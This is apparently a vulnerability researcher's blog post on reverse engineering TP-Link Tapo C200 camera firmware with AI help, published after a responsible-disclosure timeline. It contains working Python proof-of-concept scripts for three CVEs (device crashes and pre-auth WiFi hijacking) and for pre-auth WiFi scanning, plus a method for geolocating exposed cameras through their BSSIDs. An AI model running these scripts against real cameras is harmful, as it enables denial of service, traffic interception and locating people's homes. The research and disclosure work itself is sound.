https://www.evilsocket.net/2025/12/18/TP-Link-Tapo-C200-Hardcoded-Keys-Buffer-Overflows-and-Privacy-in-the-Era-of-AI-Assisted-Reverse-Engineering/
evilsocket
evilsocket Preoccupied with a single leaf, you won't see the tree.
Preoccupied with a single tree... you'll miss the entire forest.
HOME RSS
TP-Link Tapo C200: Hardcoded Keys, Buffer Overflows and Privacy in
the Era of AI Assisted Reverse Engineering
BY Simone Margaritelli -- 18 Dec 2025 -- arm, reversing, re, exploit,
vulnerability research, cve, privacy, ai, embedded devices, iot
security, reverse engineering, security, iot, ai assisted reverse
engineering, firmware, ghidra, ghidramcp, integer overflow, memory,
tplink, tp-link, tapo c200, tapo camera, china, hardcoded credentials
, CVE-2025-8065, CVE-2025-14299, CVE-2025-14300
Hi friends and welcome to the last post for this year! Whenever
someone asks me how to get started with reverse engineering, I always
give the same advice: buy the cheapest IP camera you can find. These
devices are self-contained little ecosystems - they have firmware you
can extract, network protocols you can sniff, and mobile apps you can
decompile. Chances are, you'll find something interesting. At worst,
you'll learn a lot about assembly and embedded systems. At best,
you'll find some juicy vulnerability and maybe learn how to exploit
it!
tp-link tapo c200
I own several TP-Link Tapo C200 cameras myself. They're cheap (less
than 20 EUR from Italy), surprisingly stable, and I genuinely like
them - they just work. One weekend, I decided just for fun to take my
own advice. The Tapo C200 has been around for a while and has had a
few CVEs discovered and more or less patched over the years, so I
honestly wasn't expecting to find much in the latest firmware.
However, I wanted to use this chance to perform some AI assisted
reverse engineering and test whether I could still find anything at
all.
I documented the entire process live on Arcadia - my thought process,
the dead ends, the AI prompts that worked and the ones that didn't.
If you want the raw, unfiltered version with screenshots and videos
of things crashing, go check that out.
This post is the cleaned-up version of that journey, where I wanted
to show how I approach firmware analysis these days, now that we have
AI. You will notice that in several instances I will be particularly
lazy and delegate to AI things I could have done manually and/or
inferred myself after some more work. Keep in mind that while I am
generally lazy, this was also an experiment in integrating and
documenting how effective AI can be for security research and reverse
engineering, and especially in making them accessible to less
experienced/sophisticated researchers/attackers.
What started as a lazy weekend project turned into finding a few
security vulnerabilities that affect about 25,000 of these devices
directly exposed on the internet.
tapo c200 devices map
Getting the Firmware
Tools
* Old friend JD-GUI to reverse the Android app and get a sense of
things
* The AWS CLI to download the firmware image.
* binwalk for firmware inspection.
* Grok to give a quick AI assisted look into prior research.
The first step is always obtaining the firmware binary file and this
time it was super easy! After some basic reversing of the Tapo
Android app, I found out that TP-Link have their entire firmware
repository in an open S3 bucket. No authentication required. So, you
can list and download every version of every firmware they've ever
released for any device they ever produced:
1 $ aws s3 ls s3://download.tplinkcloud.com/ --no-sign-request --recursive
The entire output is here, for the curious. This provides access to
the firmware image of every TP-Link device - routers, cameras, smart
plugs, you name it. A reverse engineer's candy store.
I grabbed version 1.4.2 Build 250313 Rel.40499n for the C200
(Hardware Revision 3), named
Tapo_C200v3_en_1.4.2_Build_250313_Rel.40499n_up_boot-signed_1747894968535.bin,
and started poking around. However, the first attempt at identifying
its format via binwalk was not successful, indicating that some sort
of encryption or obfuscation was in place.
And here is where I started using AI. I used Grok to do some deep
research on how to decrypt the firmware for these cameras. Since I
knew other hackers worked on this before, I delegated searching into
hundreds of relevant web pages to the AI:
grok
Decrypting the Firmware
Tools
* The tp-link-decrypt tool to decrypt the firmware image.
* binwalk for firmware inspection.
Thanks to Grok, the tp-link-decrypt tool and the fact that every
firmware image for every device seems to be encrypted the same exact
way, we can now decrypt the firmware. The tool extracts RSA keys from
TP-Link's own GPL code releases - they publish the decryption keys
themselves as part of their open source obligations.
Credits to @watchfulip for the original extensive TP-Link firmware
research and @tangrs for finding that the relevant binaries are
published in TP-Link GPL code dumps and how to extract keys from them
.
1 $ git clone https://github.com/robbins/tp-link-decrypt
2 $ cd tp-link-decrypt
3 $ ./preinstall.sh # Install dependencies
4 $ ./extract_keys.sh # Extract RSA keys from TP-Link's GPL code
5 $ make
6 $ bin/tp-link-decrypt Tapo_C200_firmware.bin
After decryption, the firmware revealed a fairly standard structure:
a bootloader, a kernel, and a SquashFS root filesystem.
1 $ binwalk -e Tapo_C200_v3_1.4.2_decrypted.bin
binwalk
Hunting for Bugs
Tools
* Ghidra to decompile and understand the MIPS binaries
* GhidraMCP to let an AI connect to my running Ghidra instance and
support me in the process.
* Cline to ask AI to explore the filesystem and find interesting
components.
* A mix of Anthropic's Opus and Sonnet 4.
Once extracted, I used AI and Cline to explore the filesystem in
search of which components handle the discovery protocol, camera web
API, video streaming, etc all discovered earlier while reversing the
Android app.
Claude Opus 4: "this is the firmware of an ipcam, i'm trying to
find where the webapp that serves the API is managed"
pic.twitter.com/NrgtKGUD8h
-- Simone Margaritelli (@evilsocket) July 18, 2025
Loading Ghidra and giving a quick look at the tp_manage binary,
revealed the first interesting thing:
tp_manage
This private key is not generated at boot. Similarly to CVE-2025-1099
for the C500, the C200 embeds in its firmware the private key that
serves the SSL for a few APIs. If you're on the same network as a
camera, you can MitM and decrypt their HTTPS traffic with keys you
extracted from the firmware image - without ever touching the
hardware. For a security camera streaming video of people's homes,
this is... not ideal.
I kept loading the other interesting binaries and exploring them in
Ghidra using AI to quickly get a sense of the main features and
possible entry points for an attacker.
Asking AI to explain a function and its relation to the other
functions proved to be very useful for instance to understand
encryption / obfuscation routines and network protocol handlers. This
allows you to go from here:
decompiled
To a higher level understanding that the AI can provide:
udp crc
Another technique I found particularly effective is asking the AI to
analyze a given function of interest and rename its variables and
parameters to something meaningful based on context. Then do the same
for the functions it calls, recursively following the branches you're
interested in. After a few iterations, what started as FUN_0042eb7c
(undefined2 *param_1, undefined4 param_2, int param_3) becomes
handleConnectAp(connection *conn, int flags, json *params) - and
suddenly the decompiled code reads almost like the original source.
This iterative refinement approach, which I find a great example of
human-AI collaboration where neither alone would be as efficient, is
how I mapped most of the HTTP handlers, discovery protocol, and so
on. What follows is the bottom line of my findings. For more details
on the process, refer to the original Discord thread.
As a side note, I did not investigate (much) the exploitability of
the following bugs to achieve code execution, mostly because I'm not
familiar with MIPS, and it was not my intent. You can however do it
relatively easily once obtained a shell via physical access, due to
the presence of the /bin/gdbserver binary in the firmware.
Bug 1: Pre-Auth ONVIF SOAP XML Parser Memory Overflow
(CVE-2025-8065)
The Tapo C200 exposes an ONVIF service via the /bin/main server
listening on port 2020 for interoperability with standard video
management systems. The problem is in how it parses SOAP XML
requests.
When processing XML elements, the parser
(soap_parse_and_validate_request at 0x0045ae8c) calls ds_parse
without any bounds checking on the number of elements or total memory
allocation. Send it enough XML elements, and you'll overflow
allocated memory.
Here's the PoC:
1 #!/usr/bin/env python3
2 import urllib.request
3 import sys
4
5 TARGET = sys.argv[1]
6 ONVIF_PORT = 2020
7
8 # Generate 100,000 XML elements - this will overflow the parser
9 params = ''.join([f''
10 for i in range(100000)])
11
12 body = f'''
13
14
15
16 test
17
18 TestRule
19 tt:CellMotionDetector
20 {params}
21
22
23
24 '''
25
26 req = urllib.request.Request(f"http://{TARGET}:{ONVIF_PORT}/onvif/service",
27 data=body.encode('utf-8'))
28 req.add_header('Content-Type', 'application/soap+xml')
29 urllib.request.urlopen(req, timeout=30)
Send this, and the camera crashes, requiring a power cycle to
recover.
pic.twitter.com/JQ64e9KAJp
-- Simone Margaritelli (@evilsocket) July 19, 2025
CVE-2025-8065 has been assigned to this bug.
CVSS v4.0 Score: 7.1 / High
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Bug 2: Pre-Auth HTTPS Content-Length Integer Overflow
(CVE-2025-14299)
The HTTPS server routine running on port 443 has a classic integer
overflow in its Content-Length header parsing. The vulnerable
function at 0x004bd054 does this:
1 iVar1 = atoi(value);
2 param_1->content_length = iVar1;
That's it. No bounds checking. No validation. Just raw atoi() on user
input.
On a 32-bit system, atoi("4294967295") causes integer overflow,
resulting in undefined behavior. In this case, the camera crashes:
1 #!/usr/bin/env python3
2 import socket
3 import ssl
4 import sys
5
6 TARGET = sys.argv[1]
7
8 request = f"""POST / HTTP/1.1\r
9 Host: {TARGET}\r
10 Content-Length: 4294967295\r
11 Content-Type: application/octet-stream\r
12 Connection: close\r
13 \r
14 AAAA"""
15
16 context = ssl.create_default_context()
17 context.check_hostname = False
18 context.verify_mode = ssl.CERT_NONE
19
20 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21 ssl_sock = context.wrap_socket(sock, server_hostname=TARGET)
22 ssl_sock.connect((TARGET, 443))
23 ssl_sock.send(request.encode())
And two pic.twitter.com/tt7eL7MA27
-- Simone Margaritelli (@evilsocket) July 19, 2025
Another crash CVE-2025-14299 has been assigned to this bug.
CVSS v4.0 Score: 7.1 / High
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Bug 3: Pre-Auth WiFi Hijacking (CVE-2025-14300)
The camera exposes an API endpoint called connectAp that's used
during initial setup to configure WiFi. The problem? It's accessible
without any authentication. Even after the camera is fully set up and
connected to your network.
The vulnerable handler at 0x0042eb7c processes the request without
any auth checks:
1 void connectApHandler(undefined2 *param_1,undefined4 param_2,int json_params)
2 {
3 // No authentication check here - just processes the request
4 jso_add_string(iVar3,"method","connectAp");
5 jso_obj_add(iVar3,"params",iVar2);
6 iVar1 = ds_tapo_handle(param_1);
7 }
And three! pic.twitter.com/2GZiG4bTm0
-- Simone Margaritelli (@evilsocket) July 22, 2025
The exploit is trivial:
1 #!/usr/bin/env python3
2 import urllib.request
3 import ssl
4 import sys
5
6 TARGET = sys.argv[1]
7
8 # No auth needed - just send it
9 payload = '{"method":"connectAp","params":{"onboarding":{"connect":{"ssid":"EVIL_NETWORK","bssid":"11:11:11:11:11:11","auth":3,"encryption":2,"rssi":3,"password":"hacked","pwd_encrypted":0}}}}'
10
11 context = ssl.create_default_context()
12 context.check_hostname = False
13 context.verify_mode = ssl.CERT_NONE
14
15 req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
16 req.add_header('Content-Type', 'application/json')
17 urllib.request.urlopen(req, context=context, timeout=10)
This allows a remote attacker to:
* Disconnect the camera from its legitimate network (DoS)
If in WiFi range proximity:
* Force it to connect to an attacker-controlled network (MitM)
* Intercept all video traffic once on the malicious network (not
that we really needed this since the HTTPS private key is shared
by all devices, as mentioned earlier XD)
* Maintain persistent access even if the owner changes their WiFi
password
CVE-2025-14300 has been assigned to this bug.
CVSS v4.0 Score: 8.7 / High
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Bug 4: Pre-Auth Nearby WiFi Network Scanning
Related to Bug 3, the scanApList method is also accessible without
authentication - even when the device is not in onboarding mode. This
endpoint returns a list of all WiFi networks visible to the camera:
1 #!/usr/bin/env python3
2 import urllib.request
3 import ssl
4 import sys
5
6 TARGET = sys.argv[1]
7
8 payload = '{"method":"scanApList","params":{}}'
9
10 context = ssl.create_default_context()
11 context.check_hostname = False
12 context.verify_mode = ssl.CERT_NONE
13
14 req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
15 req.add_header('Content-Type', 'application/json')
16 response = urllib.request.urlopen(req, context=context, timeout=10)
17 print(response.read().decode())
A test on one of the devices exposed on the internet:
aps
This is particularly concerning given the number of these devices
exposed on the internet. An attacker can remotely enumerate WiFi
networks in the camera's vicinity, including:
* SSIDs of nearby networks
* BSSIDs (MAC addresses of access points)
* Signal strength (useful for triangulation)
* Security configurations
Here's where it gets worse: tools like apple_bssid_locator can query
Apple's location services API with a BSSID and return precise GPS
coordinates.
This means an attacker can:
1. Find an exposed Tapo camera via services like ZoomEye, Shodan or
similar indexes
2. Use scanApList to retrieve nearby WiFi BSSIDs
3. Query Apple's location database with those BSSIDs
4. Pinpoint the camera's physical location to within a few meters
Remote attackers can not only see what WiFi networks exist around a
camera - they can determine exactly where that camera (and by
extension, the home or business it's monitoring) is located on a map.
Disclosure
I've decided to follow the industry standard 90+30 days responsible
disclosure process; here's the timeline:
* July 22, 2025: Sent initial report to TP-Link's security team (
security@tp-link.com) with full technical details, PoC exploits
and videos. All compiled according to their guidelines.
* July 22, 2025: Acknowledgment received.
* August 22, 2025: TP-Link confirms they're still reviewing the
report
* September 27, 2025: TP-Link responds and sets the timeline for
the remediation patch to the end of November 2025.
* November 2025: Nothing happens.
* December 1, 2025: Sent follow up email, no response.
* December 4, 2025: Sent another follow up email, which TP-Link
responds to, further postponing the patch to the following week.
* The following week: Nothing happens.
* December 19, 2025: Public disclosure after 150 days.
* December 20, 2025: TP-Link finally publishes a security advisory
for CVE-2025-8065, CVE-2025-14299 and CVE-2025-14300.
The 90+30 period has long passed, so I decided to publish this
writeup.
Conflict Of Interest
As of April 25, TP-Link is a CVE Numbering Authority (CNA). This
means they have the authority to assign CVE identifiers for
vulnerabilities in their own products - at least for the ones
reported directly to them. And they actively encourage responsible
disclosure directly to their security team, which means they control
a considerable pipeline of vulnerability reports.
On their Security Commitment page, TP-Link prominently displays
charts comparing their CVE count to competitors. They explicitly
market themselves as having fewer CVEs than Cisco, Netgear, and
D-Link. They state they "aim to patch vulnerabilities within 90
days."
There's an obvious and structural conflict of interest when a vendor
is allowed to be their own CNA while simultaneously using their CVE
count as a marketing metric.
#arm #reversing #re #exploit #vulnerability research #cve #privacy #
ai #embedded devices #iot security #reverse engineering #security #
iot #ai assisted reverse engineering #firmware #ghidra #ghidramcp #
integer overflow #memory #tplink #tp-link #tapo c200 #tapo camera #
china #hardcoded credentials #CVE-2025-8065 #CVE-2025-14299 #
CVE-2025-14300
NEXT How to Write an Agent
YOU MIGHT ALSO LIKE...
How to Write an Agent
READ MORE
Attacking UNIX Systems via CUPS, Part I
READ MORE
Reverse Engineering the Apple MultiPeer Connectivity Framework
READ MORE
Process Behaviour Anomaly Detection Using eBPF and
Unsupervised-Learning Autoencoders
READ MORE
(c) 2025 evilsocket. Powered by Hexo.